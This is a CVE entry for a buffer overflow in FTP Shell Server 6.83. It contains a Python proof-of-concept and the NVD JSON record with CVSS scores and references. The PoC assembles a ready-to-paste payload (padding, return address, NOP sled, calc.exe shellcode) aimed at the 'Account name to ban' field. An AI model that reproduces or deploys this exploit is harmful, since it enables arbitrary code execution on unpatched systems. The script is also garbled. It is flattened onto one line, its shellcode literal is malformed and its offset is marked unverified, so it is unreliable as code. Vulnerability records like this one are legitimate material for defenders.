CVE-2019-25619

#!/usr/bin/env python3 # PoC for CVE-2019-25619 # This script demonstrates the buffer overflow vulnerability in FTP Shell Server 6.83 # Target: 'Account name to ban' field in Manage FTP Accounts dialog import struct # Payload construction pattern: [Junk] + [Ret Addr] + [NOP Sled] + [Shellcode] # Offset to overwrite EIP (Example value, requires debugging to verify exact offset) offset = 4104 # Return address (Example: JMP ESP or POP POP RET) # This address varies based on OS version and loaded modules ret_addr = struct.pack('<L', 0x7C86467B) # NOP sled (No Operation) nop_sled = b'\x90' * 32 # Shellcode: Executes calc.exe (Windows) # This is a standard metasploit windows/exec calc payload shellcode = b"" \x31\xc9\x51\x68\x63\x61\x6c\x63\x54\xb8\xc7\x93\xc2\x77\xff\xd0\xb8\x90\x1e\xc2\x77\xff\xd0 """ # Construct the full payload payload = b'A' * offset + ret_addr + nop_sled + shellcode try: with open('CVE-2019-25619_PoC.txt', 'wb') as f: f.write(payload) print(f"[+] Payload generated successfully. Length: {len(payload)} bytes") print("[+] Copy the content of CVE-2019-25619_PoC.txt and paste it into the 'Account name to ban' field.") except Exception as e: print(f"[-] Error generating payload: {e}")

{"cve": {"id": "CVE-2019-25619", "sourceIdentifier": "[email protected]", "published": "2026-03-22T14:16:30.873", "lastModified": "2026-04-03T14:33:32.480", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "FTP Shell Server 6.83 contains a buffer overflow vulnerability in the 'Account name to ban' field that allows local attackers to execute arbitrary code by supplying a crafted string. Attackers can inject shellcode through the account name parameter in the Manage FTP Accounts dialog to overwrite the return address and execute calc.exe or other commands."}, {"lang": "es", "value": "FTP Shell Server 6.83 contiene una vulnerabilidad de desbordamiento de búfer en el campo 'Account name to ban' que permite a atacantes locales ejecutar código arbitrario al proporcionar una cadena manipulada. Los atacantes pueden inyectar shellcode a través del parámetro de nombre de cuenta en el diálogo Manage FTP Accounts para sobrescribir la dirección de retorno y ejecutar calc.exe u otros comandos."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:L/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 8.6, "baseSeverity": "HIGH", "attackVector": "LOCAL", "attackComplexity": "LOW", "attackRequirements": "NONE", "privilegesRequired": "NONE", "userInteraction": "NONE", "vulnConfidentialityImpact": "HIGH", "vulnIntegrityImpact": "HIGH", "vulnAvailabilityImpact": "HIGH", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "NONE", "subAvailabilityImpact": "NONE", "exploitMaturity": "NOT_DEFINED", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "baseScore": 8.4, "baseSeverity": "HIGH", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 2.5, "impactScore": 5.9}, {"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "baseScore": 7.8, "baseSeverity": "HIGH", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.8, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-787"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:ftpshell:ftpshell_server:6.83:*:*:*:*:*:*:*", "matchCriteriaId": "B1CA14F8-D487-4555-B050-50FCED850F9A"}]}]}], "references": [{"url": "http://www.ftpshell.com/index.htm", "source": "[email protected]", "tags": ["Product"]}, {"url": "https://www.exploit-db.com/exploits/46685", "source": "[email protected]", "tags": ["Exploit", "Third Party Advisory", "VDB Entry"]}, {"url": "https://www.vulncheck.com/advisories/ftp-shell-server-buffer-overflow-via-account-name", "source": "[email protected]", "tags": ["Third Party Advisory"]}]}}